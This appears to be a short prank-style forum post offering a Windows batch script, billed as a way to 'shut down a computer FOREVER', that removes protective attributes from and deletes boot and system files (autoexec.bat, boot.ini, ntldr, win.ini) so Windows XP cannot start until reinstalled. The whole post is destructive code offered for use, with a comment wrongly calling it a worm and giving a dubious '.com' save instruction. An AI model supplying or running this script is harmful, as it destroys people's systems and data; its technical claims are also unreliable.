How to shut down a computer FOREVER!

CODE

echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

// note save the above code as .com extension this is actually a worm and //shut down the xp such that boot strap loader will never be able to conduct //the initialization of os untill a new os is installed